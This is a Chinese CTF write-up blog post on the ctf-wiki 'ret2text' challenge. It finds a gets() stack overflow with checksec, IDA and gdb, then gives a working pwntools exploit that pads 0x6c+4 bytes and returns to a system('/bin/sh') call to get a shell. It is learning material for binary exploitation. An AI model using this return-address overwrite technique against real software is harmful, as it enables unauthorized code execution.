week2 T1


T1 ret2text

2023-01-09WP
ctf-wiki基础rop

0x01

file checksec——32-bit, 开启NX

0x02

IDA查看代码,可以看出main函数中有gets函数,存在栈溢出漏洞

发现还有有一个secure函数调用了system(“/bin/sh”)

双击字符串Ctrl+X,记下”/bin/sh”的地址0x0804863A
0x0804863A就是需要返回的地址

0x03

用gdb调试
在调用gets函数的地址处0x080486AE设置断点
r 运行如下

其中ebp为0xffffcff8,esp为0xffffcf70,那么s为[esp+0x1c]即0xffffcf8c,相对于ebp的偏移是0x6c,相对于返回地址的偏移是0x6c+4

0x04

写exp

from pwn import *
sh = process('./ret2text')
target = 0x804863a
sh.sendline(b'A' * (0x6c+4) + p32(target))
sh.interactive()

0x05

疑问:我有一点不明白的是为什么IDA中看到的s相对于ebp的偏移是64h,而gdb调试出来的是0x6c+4
网上看到有一个只用IDA就成功地算出了偏移量,但对于文章里的解释并不是很理解
只能说有时候IDA还是与gdb的有出入,不过还是以gdb调试的为准


文章作者: lmarch2
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 lmarch2 !
评论
  目录